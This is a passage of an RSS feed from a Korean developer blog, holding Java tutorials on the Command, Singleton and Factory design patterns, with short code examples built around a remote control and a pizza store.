<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>jeonggod.log</title>
        <link>https://velog.io/</link>
        <description>강한 백엔드 개발자가 되기 위한 여정</description>
        <lastBuildDate>Tue, 21 Jun 2022 03:27:07 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <copyright>Copyright (C) 2019. jeonggod.log. All rights reserved.</copyright>
        <atom:link href="https://v2.velog.io/rss/jeong-god" rel="self" type="application/rss+xml"/>
        <item>
            <title><![CDATA[[디자인 패턴] 커맨드 패턴]]></title>
            <link>https://velog.io/@jeong-god/%EB%94%94%EC%9E%90%EC%9D%B8-%ED%8C%A8%ED%84%B4-%EC%BB%A4%EB%A7%A8%EB%93%9C-%ED%8C%A8%ED%84%B4</link>
            <guid>https://velog.io/@jeong-god/%EB%94%94%EC%9E%90%EC%9D%B8-%ED%8C%A8%ED%84%B4-%EC%BB%A4%EB%A7%A8%EB%93%9C-%ED%8C%A8%ED%84%B4</guid>
            <pubDate>Tue, 21 Jun 2022 03:27:07 GMT</pubDate>
            <description><![CDATA[<p>리모컨이 있다고 해보자.</p>
<p>이 리모컨으로 TV를 켜보는 것을 구상해보자.</p>
<pre><code class="language-java">public class TV {
    public void turnOn() {
        System.out.println(&quot;tv가 켜졌습니다.&quot;);
    }
}</code></pre>
<pre><code class="language-java">public class RemoteController {
    TV tv;

    public RemoteController(TV tv) {
        this.tv = tv;
    }

    public void turnOn() {
        tv.turnOn();
    }
}</code></pre>
<pre><code class="language-java">public class Main {
    public static void main(String[] args) {
        TV tv = new TV();
        RemoteController controller = new RemoteController(tv);

        controller.turnOn();
    }
}</code></pre>
<p>그런데 이 리모컨은 만능이라서 TV말고도 전등도 킬 수 있다.</p>
<p>전등을 킬 수 있게도 구상해보자.</p>
<pre><code class="language-java">public class Light {
    public void turnOn() {
        System.out.println(&quot;전등이 켜졌습니다.&quot;);
    }
}</code></pre>
<pre><code class="language-java">public class RemoteController {
    TV tv;
    Light light;
    String mode;
    String[] modes = {&quot;tv&quot;, &quot;light&quot;};
    public RemoteController(TV tv, Light light) {
        this.tv = tv;
        this.light = light;
    }

    public void setMode(int idx) {
        mode = modes[idx];
    }

    public void turnOn() {
        switch (mode) {
            case &quot;tv&quot;:
                tv.turnOn();
                break;
            case &quot;light&quot;:
                light.turnOn();
                break;
        }
    }
}</code></pre>
<pre><code class="language-java">public class Main {
    public static void main(String[] args) {
        TV tv = new TV();
        Light light = new Light();
        RemoteController controller = new RemoteController(tv, light);

        controller.setMode(0);
        controller.turnOn();

        controller.setMode(1);
        controller.turnOn();
    }
}</code></pre>
<p>만능 리모컨이 킬 수 있는 물건(객체)가 늘어날 때마다 코드가 변경이 일어난다. </p>
<p>⇒ OCP위배가 된다는 말이다.</p>
<p>이를 커맨드 패턴을 이용해 해결해보자.</p>
<p>커맨드 패턴이란 다음과 같다.</p>
<h1 id="정의">정의</h1>
<p>요청 내역을 객체로 캡슐화해서 객체를 서로 다른 요청 내역에 따라 매개변수화할 수 있다. 이러면 요청을 큐에 저장하거나 로그로 기록하거나 작업 취소 기능을 사용할 수 있다.</p>
<h1 id="구성">구성</h1>
<p>커맨드 패턴은 3가지로 구성이 되어 있다.</p>
<ol>
<li>커맨드</li>
<li>리보커</li>
<li>리시버</li>
</ol>
<p>이렇게 딱딱하게 말하면 어렵다. 음식점에 비유를 해보자.</p>
<p>우리가 레스토랑에서 메뉴판을 보고 종업원에게 “스테이크 1개, 와인 1개 주세요.” 라고 주문을 한다.</p>
<p>그러면 종업원은 주문서에 해당 주문을 적고 이를 주방장에게 갖다준다.</p>
<p>주방장은 주문서에 적힌 주문을 보고 요리를 시작한다.</p>
<p>이를 보면 <strong>어떤 것을 요구하는 객체</strong>, <strong>그 요구를 받아들이고 처리하는 객체</strong>로 나뉘어진 것을 볼 수 있다.</p>
<p>다시 3가지 구성으로 돌아가보자.</p>
<ol>
<li><p>커맨드</p>
<p> 위의 예시에서 주문서에 해당한다. 커맨드를 전달하는 것이다.</p>
</li>
<li><p>리보커</p>
<p> 위의 예시에서 종업원에 해당한다. 그저 커맨드를 받아 전달하는 위치이다.</p>
</li>
<li><p>리시버</p>
<p> 위의 예시에서 주방장에 해당한다. 리보커에게 전달받은 커맨드를 보고 수행할 뿐이다.</p>
</li>
</ol>
<h2 id="예시">예시</h2>
<h3 id="light-tv는-위와-같다">Light, TV는 위와 같다.</h3>
<h3 id="command">Command</h3>
<pre><code class="language-java">public interface Command {
    void execute();
}</code></pre>
<pre><code class="language-java">public class LightOnCommand implements Command {
    Light light;

    public LightOnCommand(Light light) {
        this.light = light;
    }

    @Override
    public void execute() {
        light.turnOn();
    }
}</code></pre>
<pre><code class="language-java">public class TVOnCommand implements Command {
    TV tv;

    public TVOnCommand(TV tv) {
        this.tv = tv;
    }

    @Override
    public void execute() {
        tv.turnOn();
    }
}</code></pre>
<h3 id="remotecontroller">RemoteController</h3>
<pre><code class="language-java">public class RemoteController {
    Command command;

    public void setCommand(Command com) {
        command = com;
    }

    public void buttonWasPressed() {
        command.execute();
    }
}</code></pre>
<h3 id="test">Test</h3>
<pre><code class="language-java">public class Main {
    public static void main(String[] args) {
        TV tv = new TV();
        Light light = new Light();
        Command lightOn = new LightOnCommand(light);
        Command tvOn = new TVOnCommand(tv);

        RemoteController controller = new RemoteController();

        controller.setCommand(lightOn);
        controller.buttonWasPressed();

        controller.setCommand(tvOn);
        controller.buttonWasPressed();
    }
}</code></pre>
<h2 id="다이어그램">다이어그램</h2>
<p><img src="https://velog.velcdn.com/images/jeong-god/post/1cba85d5-d89d-47a0-b074-726873b992e6/image.png" alt=""></p>
<p>위 그림을 보면 Invoker가 커맨드를 지정해주고, 지정한 커맨드를 Receiver가 실행만 하는 구조로 되어있다.</p>
<p>이렇게 Invoker, Receiver, Command가 캡슐화 되어있어 결합도가 낮아져 유지보수가 용이해진다.</p>
<p>위에서 정의내용에서 작업내용을 취소할 수 도 있게 만들 수 있다고 했는데 한 번 만들어보자.</p>
<h3 id="command-1">Command</h3>
<pre><code class="language-java">public interface Command {
    void execute();
    void undo();
}</code></pre>
<pre><code class="language-java">public class LightOnCommand implements Command {
    Light light;

    public LightOnCommand(Light light) {
        this.light = light;
    }

    @Override
    public void execute() {
        light.turnOn();
    }

    @Override
    public void undo() {
        light.turnOff();
    }
}</code></pre>
<pre><code class="language-java">public class LightOffCommand implements Command {
    Light light;

    public LightOffCommand(Light light) {
        this.light = light;
    }

    @Override
    public void execute() {
        light.turnOff();
    }

    @Override
    public void undo() {
        light.turnOn();
    }
}</code></pre>
<h3 id="remotecontroller-1">RemoteController</h3>
<pre><code class="language-java">public class RemoteController {
    Command command;
    Command undoCommand;

    public RemoteController() {
        Command noCommand = new NoCommand();
        command = noCommand;
        undoCommand = noCommand;
    }

    public void setCommand(Command com) {
        command = com;
    }

    public void buttonWasPressed() {
        command.execute();
        undoCommand = command;
    }

    public void undoButtonWasPressed() {
        undoCommand.undo();
    }
}</code></pre>
<h3 id="test-1">Test</h3>
<pre><code class="language-java">public class Main {
    public static void main(String[] args) {
        TV tv = new TV();
        Light light = new Light();
        Command lightOn = new LightOnCommand(light);
        Command tvOn = new TVOnCommand(tv);

        RemoteController controller = new RemoteController();

        controller.setCommand(lightOn);
        controller.buttonWasPressed();

        controller.setCommand(tvOn);
        controller.buttonWasPressed();
        controller.undoButtonWasPressed();
    }
}</code></pre>
<p>다음과 같이 진행하면 된다. 간단하게 만들었는데 만약 undo버튼이 여러번 눌리도록 하고 싶다면 stack으로 저장하여 진행하면 된다.</p>
<h3 id="사용-이유">사용 이유</h3>
<ol>
<li>명령을 만드는 시점과 실행시키는 시점이 다르다.</li>
<li>명령을 만드는 친구와 실행시키는 친구가 다르다.</li>
<li>작업의 취소 또는 재실행등을 할 수 있게 하기 위함이다.</li>
</ol>
<blockquote>
<p>참고
<a href="https://victorydntmd.tistory.com/295">https://victorydntmd.tistory.com/295</a>
<a href="https://soojong.tistory.com/entry/%EB%94%94%EC%9E%90%EC%9D%B8%ED%8C%A8%ED%84%B4-%EC%BB%A4%EB%A7%A8%EB%93%9C-%ED%8C%A8%ED%84%B4Command-Pattern">https://soojong.tistory.com/entry/디자인패턴-커맨드-패턴Command-Pattern</a>
<a href="http://egloos.zum.com/iilii/v/5378691">http://egloos.zum.com/iilii/v/5378691</a>
헤드퍼스트 디자인 패턴</p>
</blockquote>
]]></description>
        </item>
        <item>
            <title><![CDATA[[디자인 패턴] 싱글톤 패턴]]></title>
            <link>https://velog.io/@jeong-god/%EB%94%94%EC%9E%90%EC%9D%B8-%ED%8C%A8%ED%84%B4-%EC%8B%B1%EA%B8%80%ED%86%A4-%ED%8C%A8%ED%84%B4</link>
            <guid>https://velog.io/@jeong-god/%EB%94%94%EC%9E%90%EC%9D%B8-%ED%8C%A8%ED%84%B4-%EC%8B%B1%EA%B8%80%ED%86%A4-%ED%8C%A8%ED%84%B4</guid>
            <pubDate>Mon, 20 Jun 2022 04:32:46 GMT</pubDate>
            <description><![CDATA[<h1 id="정의">정의</h1>
<p>클래스 인스턴스를 하나만 만들고, 그 인스턴스로의 전역 접근을 제공한다.</p>
<h1 id="사용하는-예시">사용하는 예시</h1>
<ol>
<li>레지스트리 설정 객체</li>
<li>연결 풀</li>
<li>스레드 풀</li>
</ol>
<h2 id="왜-사용할까">왜 사용할까?</h2>
<p>정적 클래스로 선언하면 되지 않나? 하는 생각도 들었다. 정적 클래스로 사용되면 나타나는 문제는 다음과 같다.</p>
<ol>
<li>자바에서 정적 초기화를 처리하는 방법때문에 일이 복잡해질 수 있다.</li>
<li>여러 클래스가 얽혀 있다면 지저분해진다.</li>
<li>초기화 순서 문제로 찾아내기 어려운 버그가 발생될 수 있다.</li>
</ol>
<p>그리고 정적 클래스로 선언하게 된다면 무조건 메모리에 올라와 공간을 차지하게 된다.</p>
<p>만약 사용빈도가 적지 않다면? 불필요한 공간을 계속해서 차지하고 있는 골칫덩어리가 된다.</p>
<p>싱글톤 패턴을 사용하면 Lazy Loading으로 필요할 때 생성하여 사용할 수 있다. 자원을 효율적으로 사용할 수 있게 만들 수 있다는 뜻이다.</p>
<h2 id="구현">구현</h2>
<pre><code class="language-java">public class Singleton {
    private static Singleton singleton;
    private Singleton() {}

    public static Singleton getInstance() {
        if (singleton == null) {
            singleton = new Singleton();
        }
        return singleton;
    }
}</code></pre>
<p>이렇게 구현할 수 있다. 간단하니 설명은 생략하겠다.</p>
<p>그런데 만약 멀티스레드 환경에서도 객체가 한 개가 될것이 보장이 될까?</p>
<p>답은 아니다. 스레드 2개가 동시에 <code>getInstance()</code>를 호출한다면 객체가 2개가 될 수 있다.</p>
<p>이러한 방법은 어떻게 막을 수 있을까?</p>
<h3 id="1-synchronized-사용">1. Synchronized 사용</h3>
<pre><code class="language-java">public class Singleton {
    private static Singleton singleton;
    private Singleton() {}

    public static synchronized Singleton getInstance() {
        if (singleton == null) {
            singleton = new Singleton();
        }
        return singleton;
    }
}</code></pre>
<p>이렇게 하면 하나의 스레드가 <code>getInstance()</code> 에 접근하면 다른 스레드는 기다리게 된다.</p>
<p>이로써 객체가 하나임을 보장할 수 있다.</p>
<p>하지만 <code>synchronized</code>는 처음 객체가 생성될때만 필요한 부분이지 하나가 생성되고 나면 필요없어지는 부분이다.</p>
<p><code>synchronized</code> 를 붙이면 성능이 100배 저하되기 때문에 속도 문제가 발생될 수 있다.</p>
<h3 id="2-instance를-처음부터-생성">2. Instance를 처음부터 생성</h3>
<pre><code class="language-java">public class Singleton {
    private static Singleton singleton = new Singleton();
    private Singleton() {}

    public Singleton getInstance() {
        return singleton;
    }
}</code></pre>
<p>관리하기 귀찮다면 다음과 같은 방법도 된다.</p>
<p>하지만 메모리에 처음부터 올라와있기 때문에 Lazy Loading이 불가능하다.</p>
<h3 id="3-dcl-사용java-5이상">3. DCL 사용(Java 5이상)</h3>
<p>Double-Checked Locking을 사용할 수 있다.</p>
<pre><code class="language-java">public class Singleton {
    private volatile static Singleton singleton;
    private Singleton() {}

    public Singleton getInstance() {
        if (singleton == null) {
            synchronized (Singleton.class) {
                if (singleTon == null) {
                     singleton = new Singleton();
                }
            }
        }
        return singleton;
    }
}</code></pre>
<ol>
<li>인스턴스가 있는지 확인한다. 없다면 동기화된 블록으로 들어간다.</li>
<li>동기화로 블록을 생성한다.</li>
<li>만약 인스턴스가 있다면 동기화된 블록을 들어가지 않고도 바로 싱글톤 객체를 얻어올 수 있다.</li>
</ol>
<h3 id="volatile란">volatile란?</h3>
<p>공통된 전역 변수를 사용하기 위함이다.</p>
<p>각각의 스레드는 캐시 메모리를 지니고 있다. 그래서 스레드가 캐시메모리에 값을 갖고와 변경해도 공통된 영역인 메인 메모리에는 영향을 끼치지 않는다.</p>
<p>언제 메인 메모리에 write되는지도 모른다.</p>
<p>그래서 volatile을 사용해 해당 값은 캐시 메모리에서 찾는게 아닌 main memory에서 찾게 되고 변경도 여기서 진행하게 된다.</p>
<p>cache보다는 읽기/쓰기 비용이 높기 때문에 느려 동기화를 위해서만 사용하는 것이 좋다.</p>
<h2 id="문제점">문제점</h2>
<ol>
<li><p>클래스 로더가 여러 개라면?</p>
<p> 클래스 로더마다 서로 다른 네임스페이스를 정의하기 때문에 인스턴스가 여러 개 만들어질 수 있다.</p>
<p> 클래스 로더를 직접 지정해서 문제를 해결할 수 있다.</p>
</li>
<li><p>리플렉션, 직렬화, 역직렬화 문제</p>
<p> 여기서는 싱글톤에서 문제가 발생될 수 있어 항상 염두해야한다.</p>
</li>
<li><p>Loose Coupling이 아니다.</p>
<p> Singleton객체에 의존하는 친구들은 전부 하나의 객체에 결합되는 문제로 강한 결합성을 띄게 된다.</p>
<p> 이는 싱글톤의 문제점으로 야기되는 내용으로 주의해야 한다.</p>
</li>
<li><p>싱글톤의 서브클래스는 만들 수 있나요?</p>
<p> 싱글톤은 일단 private로 생성자가 만들어져 있다. 그렇기 때문에 서브 클래스를 만들 수 없다.</p>
<p> 이 문제를 해결한다고 해도 서브 클래스가 똑같은 인스턴스 변수를 공유하게 되기 때문에 따로 레지스트리를 구현해야 한다.</p>
<p> 즉, 싱글톤을 확장해서 무엇을 하는지 정확하게 생각해야한다. 싱글톤은 특수한 상황에서 제한된 용도로 사용하도록 만들어진 것이다.</p>
</li>
</ol>
<h3 id="enum으로도-싱글톤을-만드는-건-어때요">enum으로도 싱글톤을 만드는 건 어때요?</h3>
<p>가능하다. 간단하게 싱글톤처럼 만들 수 있다.</p>
<pre><code class="language-java">public enum Singleton {
    UNIQUE_INSTANCE;
}

public class SingletonClient {
    public static void main(String[] args) {
            Singleton singleton = Singleton.UNIQUE_INSTANCE;
    }
}</code></pre>
<blockquote>
<p>참고
<a href="https://devcheon.tistory.com/82">https://devcheon.tistory.com/82</a>
헤드퍼스트 디자인 패턴</p>
</blockquote>
]]></description>
        </item>
        <item>
            <title><![CDATA[[디자인 패턴] 팩토리 패턴  ]]></title>
            <link>https://velog.io/@jeong-god/%EB%94%94%EC%9E%90%EC%9D%B8-%ED%8C%A8%ED%84%B4-%ED%8C%A9%ED%86%A0%EB%A6%AC-%ED%8C%A8%ED%84%B4</link>
            <guid>https://velog.io/@jeong-god/%EB%94%94%EC%9E%90%EC%9D%B8-%ED%8C%A8%ED%84%B4-%ED%8C%A9%ED%86%A0%EB%A6%AC-%ED%8C%A8%ED%84%B4</guid>
            <pubDate>Fri, 17 Jun 2022 04:49:08 GMT</pubDate>
            <description><![CDATA[<h1 id="팩토리-패턴">팩토리 패턴</h1>
<p>팩토리(factory)란 무엇인가.</p>
<p>팩토리를 말 그대로 직역하면 공장이다. 공장에서는 무슨 일을 하는가?</p>
<p>공장은 어떠한 물건을 <strong>만들어 내는</strong> <strong>일</strong>을 진행한다. 이를 객체지향에 빗대어 보자.</p>
<p>그렇다. 팩토리라는 것은 <strong>어떠한 객체를 생성하는 일을 진행해주는 것</strong>이다.</p>
<h3 id="그런데-굳이-나누는-이유가-뭐야">그런데 굳이 나누는 이유가 뭐야?</h3>
<p>피자가게를 예시로 들어보자.</p>
<p>피자 가게라는 객체가 존재하고 이를 구현한 뉴욕 피자가게, 워싱턴 피자 가게, 이탈리안 피자 가게등이 있다고 해보자.</p>
<p>이들 피자 가게객체가 하는 일을 적어보자.</p>
<ol>
<li>피자를 만든다.</li>
<li>피자를 굽는다.</li>
<li>피자를 포장한다.</li>
</ol>
<p>여기서 바뀌는 부분과 바뀌지 않는 부분을 알아보자. 객체지향 설계에서 가장 중요한 핵심이다.</p>
<h3 id="바뀌지-않는-부분">바뀌지 않는 부분</h3>
<ol>
<li>피자를 굽는다.</li>
<li>피자를 포장한다.</li>
</ol>
<p>이 부분은 어떤 피자가 오든 동일한 일을 수행할 것이다.</p>
<h3 id="바뀌는-부분">바뀌는 부분</h3>
<p>피자를 만드는 부분이다.</p>
<p>새로운 피자가 나오거나, 피자가 메뉴에서 없어진다면 이러한 부분들은 계속해서 변화가 이루어진다.</p>
<p>그렇다면 이 부분을 따로 빼보자. 라는 부분이 바로 <strong>팩토리 패턴</strong>이다.</p>
<h1 id="팩토리-패턴이란">팩토리 패턴이란</h1>
<p>3가지로 나뉘어져 있다.</p>
<p><strong>간단한 팩토리, 팩토리 메소드 패턴, 추상 팩토리 패턴</strong> 위 3가지가 존재한다.</p>
<h2 id="간단한-팩토리">간단한 팩토리</h2>
<p>말 그대로 간단한 팩토리이다.</p>
<p><img src="https://velog.velcdn.com/images/jeong-god/post/3565f49d-bee3-47e4-b752-3f7296b9d4b2/image.png" alt=""></p>
<p>다음과 같이 구상한다. 그저 피자 객체를 생성하는 부분을 따로 나눈 것밖에 없다.</p>
<p>만약 코드로 표현하면 이렇다.</p>
<h3 id="pizzastore">PizzaStore</h3>
<pre><code class="language-java">public class PizzaStore {
    SimplePizzaFactory factory;

    public PizzaStore (SimplePizzaFactory factory){
        this.factory = factory;
    }

    public Pizza orderPizza (String type){
        Pizza pizza;

        pizza = factory.createPizza(type);

        pizza.prepare();
        pizza.bake();
        pizza.cut();
        pizza.box();
        return pizza;
    }

    // 기타 메소드
}</code></pre>
<h3 id="pizza">Pizza</h3>
<pre><code class="language-java">public interface Pizza {
    void prepare();
    void bake();
    void cut();
    void box();
}</code></pre>
<p>CheesePizza, PepperoniPizza, ClamPizza, VeggiePizza와 같은 구현체들은 적지 않겠다.</p>
<h3 id="simplepizzafactory">SimplePizzaFactory</h3>
<pre><code class="language-java">public class SimplePizzaFactory {
    public Pizza createPizza (String type){
        Pizza pizza = null;

        if(type.equals(&quot;cheese&quot;)){
            pizza = new CheesePizza();
        }
        else if(type.equals(&quot;pepperoni&quot;)){
            pizza = new PepperoniPizza();
        }
        else if(type.equals(&quot;clam&quot;)){
            pizza = new ClamPizza();
        }
        else if(type.equals(&quot;veggie&quot;)){
            pizza = new VeggiePizza();
        }

        return pizza;
    }
}</code></pre>
<p>뉴욕피자 팩토리, 시카고 피자 팩토리등 여러가지 팩토리들을 만들어서 사용하도록 하면된다.</p>
<h3 id="문제점">문제점</h3>
<p>이렇게 만들면 객체 생성관리를 PizzaStore에서 하지 않으니 편해보인다.</p>
<p>하지만 PizzaStore에서 객체 생성에 전혀 관여하지 않다보니 객체들이 자기 멋대로 나오는 경우가 생길 수 있다.</p>
<p>이를 PizzaStore에서 Pizza를 제작할 수 있도록 만들어보자.</p>
<h1 id="팩토리-메소드-패턴">팩토리 메소드 패턴</h1>
<h2 id="정의">정의</h2>
<p>객체를 생성할 때 필요한 인터페이스를 만듭니다. 어떤 클래스의 인스턴스를 만들지는 서브클래스에서 결정합니다. 팩토리 메소드 패턴을 사용하면 클래스 인스턴스를 만드는 일을 서브 클래스에게 맡기게 됩니다.</p>
<h2 id="예시">예시</h2>
<p>위에 나온 정의처럼 PizzaStore에서 Pizza를 제작하도록 해보자. 그러면서 유연성은 떨어지지 않도록 만들어보자.</p>
<h3 id="pizzastore-1">PizzaStore</h3>
<pre><code class="language-java">public abstract class PizzaStore {
    public Pizza orderPizza(String type) {
        Pizza pizza;

        pizza = createPizza(type);

        pizza.prepare();
        pizza.bake();
        pizza.cut();
        pizza.box();

        return pizza;
    }

    abstract Pizza createPizza(String type);
}</code></pre>
<p>여기서 주목할 점은 <code>abstract Pizza createPizza(String type);</code> 함수이다.</p>
<p>PizzaStore객체는 <code>createPizza(type)</code> 을 호출하여 피자를 생성한다. 하지만 어떤 피자가 올지는 모른다.</p>
<p>어떤 피자를 만들기 위한 구현은 서브 클래스에 위임하는 형태인 것이다.</p>
<p>즉, 팩토리 메소드를 추상 메소드로 선언해서 서브클래스가 객체 생성을 책임지도록 위임하는 형태인 것이다. 클라이언트(PizzaStore에서 orderPizza함수와 같은 코드)는 실제로 생성되는 객체가 무엇인지 알 수 없는 형태로 만드는 것이다.</p>
<h3 id="nypizzastore">NYPizzaStore</h3>
<pre><code class="language-java">public class NYPizzaStore extends PizzaStore {

    @Override
    Pizza createPizza(String type) {
        Pizza pizza = null;
        switch (type) {
            case &quot;cheese&quot;:
                pizza = new NYStyleCheesePizza();
                break;
            case &quot;pepperoni&quot;:
                pizza = new NYStylePepperoniPizza();
                break;
            case &quot;clam&quot;:
                pizza = new NYStyleClamPizza();
                break;
            case &quot;veggie&quot;:
                pizza = new NYStyleVeggiePizza();
                break;
            default:
                System.out.println(&quot;다시 입력해주세요.&quot;);
                break;
        }
        return pizza;
    }
}</code></pre>
<h3 id="pizza-1">Pizza</h3>
<pre><code class="language-java">public interface Pizza {
    void prepare();
    void bake();
    void cut();
    void box();
}</code></pre>
<p>피자를 구현한 객체들은 적지 않겠다.</p>
<h3 id="test">Test</h3>
<pre><code class="language-java">public class Main {
    public static void main(String[] args) {
        PizzaStore pizzaStore = new NYStylePizzaStore();
        Pizza pizza = pizzaStore.orderPizza(&quot;cheese&quot;);

        System.out.println(pizza.toString());
    }
}</code></pre>
<p>다음과 같이 테스트해보면 뉴욕스타일의 치즈 피자가 나오게 된다.</p>
<p>팩토리 메소드 패턴은 <strong>서브클래스에서 어떤 클래스를 만들지 결정함으로써 객체 생성을 캡슐화</strong> 하는 것이다.</p>
<p>그렇게 함으로써 제품을 생산하는 부분과 제품을 사용하는 부분으로 분리할 수 있다. 느슨하게 결합을 유지시켜주는 것이다.</p>
<h1 id="추상-팩토리-패턴">추상 팩토리 패턴</h1>
<p>지금까지 피자 인터페이스에 재료들이 무엇이 있는지 명시하지 않았지만 있다고 생각하고 글을 적어보겠다.</p>
<p>피자 가게에서 원재료들을 어디에서 받는지 명시하지 않다보니 각 지점에서 알아서 원재료를 받아오게 되었다.</p>
<p>그런데 원재료들을 잘 가져오면 모르겠지만 값 싼 재료들을 받아오거나 자기들 마음대로 원재료들을 받아오는 경우가 생기게 되었다.</p>
<p>그래서 우리가 각 지점별로 원재료를 받아오는 팩토리를 지정해주도록 하려고 한다. 어떻게 하면 될까?</p>
<h2 id="정의-1">정의</h2>
<p>구상 클래스에 의존하지 않고도 서로 연관되거나 의존적인 객체로 이루어진 제품군을 생산하는 인터페이스를 제공합니다. 구상 클래스는 서브 클래스에서 만든다.</p>
<h2 id="예시-1">예시</h2>
<p>위의 정의를 빗대어보자. 여러 지점들의 피자가게가 존재한다. 각 지점마다 원재료를 받아오는 팩토리가 존재해야할 텐데 이 때 같은 공장에서 받아오는 지점들도 존재할 것이다.</p>
<p>이를 만들어보자.</p>
<h3 id="pizzaingredientfactory">PizzaIngredientFactory</h3>
<pre><code class="language-java">public interface PizzaIngredientFactory {
    Dough createDough();
    Sauce createSauce();
    Cheese createCheese();
    Veggies[] createVeggies();
    Pepperoni createPepperoni();
    Clams createClam();
}</code></pre>
<h3 id="nypizzaingredientfactory">NYPizzaIngredientFactory</h3>
<pre><code class="language-java">public class NYPizzaIngredientFactory implements PizzaIngredientFactory {

    @Override
    public Dough createDough() {
        return new Dough();
    }

    @Override
    public Sauce createSauce() {
        return new Sauce();
    }

    @Override
    public Cheese createCheese() {
        return new Cheese();
    }

    @Override
    public Veggies[] createVeggies() {
        Veggies veggies[] = {new Garlic(), new Onion(), new Mushroom()};
        return veggies;
    }

    @Override
    public Pepperoni createPepperoni() {
        return new Pepperoni();
    }

    @Override
    public Clams createClam() {
        return new Clams();
    }
}</code></pre>
<p>이렇게 원재료를 만드는 추상 팩토리를 각 지점별로 구현한다.</p>
<h3 id="pizza-2">Pizza</h3>
<pre><code class="language-java">public abstract class Pizza {
    String name;

    public Dough dough;
    public Sauce sauce;
    public Veggies Veggies[];
    public Cheese cheese;
    public Pepperoni pepperoni;
    public Clams clam;

    abstract void prepare();
    void bake() {
        System.out.println(&quot;피자 굽기&quot;);
    }
    void cut() {
        System.out.println(&quot;피자 자르기&quot;);
    }
    void box() {
        System.out.println(&quot;상자에 피자 담기&quot;);
    }
}</code></pre>
<h3 id="cheesepizza">CheesePizza</h3>
<pre><code class="language-java">public class CheesePizza extends Pizza {
    PizzaIngredientFactory ingredientFactory;

    public CheesePizza(PizzaIngredientFactory ingredientFactory) {
        this.ingredientFactory = ingredientFactory;
    }

    @Override
    public void prepare() {
        dough = ingredientFactory.createDough();
        sauce = ingredientFactory.createSauce();
        cheese = ingredientFactory.createCheese();
    }

    @Override
    public void bake() {

    }

    @Override
    public void cut() {

    }

    @Override
    public void box() {

    }
}</code></pre>
<p>각 지점별로 원재료를 갖고 오는 부분을 만들었으니 이제 각 지점별 피자가 아닌 <code>CheesePizza</code>로 묶어둔 뒤, 원재료를 만들어주는 추상 팩토리를 인자로 받아 만든다.</p>
<h3 id="pizzastore-2">PizzaStore</h3>
<pre><code class="language-java">public abstract class PizzaStore {
    public Pizza orderPizza(String type) {
        Pizza pizza;

        pizza = createPizza(type);

        pizza.prepare();
        pizza.bake();
        pizza.cut();
        pizza.box();

        return pizza;
    }

    abstract Pizza createPizza(String type);
}</code></pre>
<h3 id="nypizzastore-1">NYPizzaStore</h3>
<pre><code class="language-java">public class NYStylePizzaStore extends PizzaStore {

    @Override
    Pizza createPizza(String type) {
        Pizza pizza = null;
        PizzaIngredientFactory ingredientFactory = new NYPizzaIngredientFactory();
        switch (type) {
            case &quot;cheese&quot;:
                pizza = new CheesePizza(ingredientFactory);
                break;
            case &quot;pepperoni&quot;:
                pizza = new PepperoniPizza(ingredientFactory);
                break;
            case &quot;clam&quot;:
                pizza = new ClamPizza(ingredientFactory);
                break;
            case &quot;veggie&quot;:
                pizza = new VeggiePizza(ingredientFactory);
                break;
            default:
                System.out.println(&quot;다시 입력해주세요.&quot;);
                break;
        }
        return pizza;
    }
}</code></pre>
<p>지점별로는 <strong>원재료 팩토리</strong>를 달리 갖고 있게 한다.</p>
<h3 id="test-1">Test</h3>
<pre><code class="language-java">public class Main {
    public static void main(String[] args) {
        PizzaStore pizzaStore = new NYStylePizzaStore();
        Pizza pizza = pizzaStore.orderPizza(&quot;cheese&quot;);

        System.out.println(pizza.toString());
    }
}</code></pre>
<p>다음과 같이 진행하면 뉴욕 치즈 피자가 만들어진다.</p>
<p>좀 복잡하니깐 한 번 정리해보자.</p>
<h2 id="정리">정리</h2>
<ol>
<li>NyStylePizzaStore라는 각 지점별의 PizzaStore객체를 생성한다.</li>
<li>PizzaStore 추상클래스는 <code>orderPizza()</code> 를 이용해 피자를 주문받는다.<ol>
<li><code>createPizza()</code> 라는 메소드를 호출하여 서브클래스(NYPizzaStore) 에서 피자를 만들도록 한다.</li>
<li>서브 클래스에서는 자신이 갖고 있는 PizzaIngredientFactory를 이용하여 재료를 받는다.</li>
<li>PizzaIngredientFactory라는 인터페이스를 상속받아 구현한 NYPizzaIngredientFactory를 이용해 재료를 생성한다.</li>
<li>생성한 재료를 가지고 피자를 만든다.</li>
<li>생성한 피자를 PizzaStore에게 준다.</li>
</ol>
</li>
</ol>
<p>그림으로 표현하면 다음과 같다.</p>
<p><img src="https://velog.velcdn.com/images/jeong-god/post/51833d6c-3fbe-4fc5-b844-3a63f9e7f1d5/image.png" alt=""></p>
<h1 id="팩토리-메소드와-추상-팩토리의-차이">팩토리 메소드와 추상 팩토리의 차이</h1>
<p>둘 다 객체를 생성하는 부분을 분리하기 위해 사용된다.</p>
<p>그렇다면 무슨 차이가 존재할까?</p>
<h3 id="팩토리-메소드">팩토리 메소드</h3>
<ol>
<li>클래스를 사용하여 제품을 만든다. 즉, 상속으로 이루어져 있다.</li>
<li>서브 클래스에서 인스턴스를 만들어준다.</li>
<li>어떤 구상 클래스를 필요로 하게 될지 알 수 없는 경우에도 유용하다.</li>
</ol>
<h3 id="추상-팩토리">추상 팩토리</h3>
<ol>
<li><p>객체를 사용하여 제품을 만든다. 즉, 구성으로 이루어져 있다.</p>
</li>
<li><p>일련의 연관된 제품들을 하나로 묶을 수 있다.</p>
</li>
<li><p>변경이 이루어질 때 인터페이스를 바꿔야 하기 때문에 서브 클래스들도 변경이 일어나야 한다.</p>
</li>
<li><p>구상 팩토리를 팩토리 메소드를 이용해 구현하는 경우도 있다.</p>
<p> 만약 도우를 만드는 <code>createDough()</code>함수를 팩토리 메소드로 구현하는 것이다. 어떤 도우를 쓸 지는 서브클래스에서 만들어주는 것이다.</p>
</li>
<li><p>구상 클래스에 직접 의존하지 않고 만들 수 있다.</p>
</li>
</ol>
<blockquote>
<p>참고
<a href="http://wiki.gurubee.net/pages/viewpage.action?pageId=1507401">http://wiki.gurubee.net/pages/viewpage.action?pageId=1507401</a>
헤드퍼스트 디자인 패턴</p>
</blockquote>
]]></description>
        </item>
        <item>
            <title><![CDATA[[디자인 패턴] 데코레이터 패턴]]></title>
